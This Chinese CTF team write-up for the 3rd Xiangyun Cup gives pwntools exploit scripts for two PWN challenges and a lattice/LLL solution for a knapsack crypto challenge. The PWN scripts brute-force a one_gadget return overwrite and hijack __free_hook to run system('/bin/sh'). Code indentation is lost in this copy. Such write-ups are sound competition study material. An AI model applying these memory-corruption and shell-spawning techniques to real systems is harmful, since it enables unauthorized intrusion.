分享一下之前第三届“祥云杯”的几道题,我们团队也在本次比赛中获得很多新的知识和大赛经验,赛后总结时,重点针对PWN和Crypto两大模块进行了深入研究和整理。
PWN部分
1、unexploitable
这道题整体难度还可以,部分改返回地址,然后直接爆破onegadget就可以了
#encoding=utf-8
from pwn import *
from re import L
from pwn import *
from ctypes import *
from LibcSearcher import *
import tty
#context.log_level = 'debug'
context.arch='amd64'
io=process("./pwn")
#io=gdb.debug('./pwn',"b*$rebase(0x7e9)")
#io=process("./pwn",stdin=PTY,raw=False)
#io = process(['./ld-2.31.so','./pwn'],env={"LD_PRELOAD":"./libc-2.31.so"})
elf=ELF('./pwn')
#io = remote('39.106.13.71',43731)
libc = ELF('./libc-2.31.so')
rl = lambda a=False : io.recvline(a)
ru = lambda a,b=True : io.recvuntil(a,b)
rn = lambda x : io.recvn(x)
sn = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)
irt = lambda : io.interactive()
dbg = lambda text=None : gdb.attach(io, text)
# lg = lambda s,addr : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s,addr))
lg = lambda s : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'\x00'))
uu64 = lambda data : u64(data.ljust(8, b'\x00'))
#'\xf7\x13\x02
def pwn(io):
payload='a'*0x18+'\xd1'
io.send(payload)
sleep(0.1)
payload='a'*0x18+'\x02\x33\x9f'
io.send(payload)
sleep(0.1)
while True:
try:
io=remote("39.106.13.71",12720)
pwn(io)
io.sendline("ls")
r=io.recv(timeout=0.2)
assert len(r) > 0
io.sendline("cat flag")
r=io.recv()
print(r)
irt()
except Exception as e:
io.close()
print(e)
2、queue
这道题目难度系数很高,逆向难度很大,我们团队在比赛的时候没有得到flag,赛后总结、复盘的时候,又对这道题进行了深入的学习,可以直接编辑这个装指针的堆块,其中edit和show函数时通过这个堆快里的指针进行操作的,修改堆指针最后一字节,可以读到已经释放的堆快里的libc地址,然后修改成free_hook,一套下来就OK
from datetime import datetime
from pwn import *
from re import L
from pwn import *
from ctypes import *
import time
from LibcSearcher import *
from Ayaka import get_my_payload
import tty
#context.log_level = 'debug'
context.arch='amd64'
#io=process(["./pwn"])
#io=gdb.debug('./pwn',"b*$rebase(0x7e9)")
#io=process("./pwn",stdin=PTY,raw=False)
#io = process(['./ld-2.31.so','./pwn'],env={"LD_PRELOAD":"./libc-2.31.so"})
elf=ELF('./pwn')
io = remote('101.201.71.136',41897)
libc = ELF('./libc-2.27.so')
rl = lambda a=False : io.recvline(a)
ru = lambda a,b=True : io.recvuntil(a,b)
rn = lambda x : io.recvn(x)
sn = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)
irt = lambda : io.interactive()
dbg = lambda text=None : gdb.attach(io, text)
# lg = lambda s,addr : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s,addr))
lg = lambda s : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'\x00'))
uu64 = lambda data : u64(data.ljust(8, b'\x00'))
def menu(choice):
sla("Queue Management: ",str(choice))
def add(size):
menu(1)
sla("Size: ",str(size))
def edit(index1,index2,context):
menu(2)
sla("Index: ",str(index1))
sla("Value idx: ",str(index2))
sla("Value: ",str(context))
def gift(index,context):
menu(666)
sla("Index: ",str(index))
sa("Content: ",context)
def pop():
menu(4)
def show(index,num):
menu(3)
sla("Index: ",str(index))
sla("Num: ",str(num))
for i in range(10):
add(0x50)
edit(0,0,0x61)
edit(0,1,0x62)
edit(0,2,0x63)
edit(0,3,0x64)
for i in range(5):
pop()
#show(6,0x10)
gift(0,p64(0)*2+'\x30')
show(0,0x20)
ru("Content:")
for i in range(0x18):
io.recvline()
heap=0
for i in range(8):
t=int(io.recvline(),16)
heap+=t<<8*i
lg("heap")
heap1=heap+(0x558513f44c60-0x558513f44080)
gift(0,p64(0)*2+p64(heap1))
show(0,0x10)
ru("Content:")
for i in range(8):
io.recvline()
libcbase=0
for i in range(8):
t=int(io.recvline(),16)
libcbase+=t<<8*i
libcbase=libcbase-(0x7f4a1b807ca0-0x7f4a1b41c000)
lg("libcbase")
free_hook=libcbase+libc.sym['__free_hook']
system=libcbase+libc.sym['system']
lg("system")
gift(0,p64(0)*2+p64(free_hook)+p64(free_hook-0x100))
for i in range(6):
edit(0,i,system&0xff)
system>>=8
sh='/bin/sh\x00'
for i in range(len(sh)):
edit(1,i,ord(sh[i]))
#heap2=heap+(0x56383908d070-0x56383908d2d0)
gift(0,p64(0)*2+p64(heap))
pop()
pop()
pop()
pop()
#gdb.attach(io)
irt()
Crypto部分
1、fill
这道题目很经典,难度不算高,背包加密 造格子,LLL一把梭,就OK了
from tqdm import *
d = 492226042629702
M = [19621141192340, 39617541681643, 3004946591889, 6231471734951, 3703341368174, 48859912097514, 4386411556216, 11028070476391, 18637548953150, 29985057892414, 20689980879644, 20060557946852, 46908191806199, 8849137870273, 28637782510640, 35930273563752, 20695924342882, 36660291028583, 10923264012354, 29810154308143, 4444597606142, 31802472725414, 23368528779283, 15179021971456, 34642073901253, 44824809996134, 31243873675161, 27159321498211, 2220647072602, 20255746235462, 24667528459211, 46916059974372]
n = 991125622
s = [1] * 32
s[0], s[1], s[2] = 562734112, 859151551, 741682801
m = (s[2]-s[1])*inverse(s[1]-s[0],n) % n
c = (s[1]-s[0]*m)%n
for i in range(1,32):
s[i] = (s[i-1] * m + c) % n
for i in range(32):
M[i] -= s[i]
print(M)
S = 492226042629702
n = len(M)
L = matrix.zero(n + 1)
for row, x in enumerate(M):
L[row, row] = 2
L[row, -1] = x
L[-1, :] = 1
L[-1, -1] = S
res = L.LLL()
print(res)
f = int(''.join(['1' if i == -1 else '0' for i in res[0][:-1]]),2)
print("flag{" + sha256(str(f).encode()).hexdigest() + "}")
zh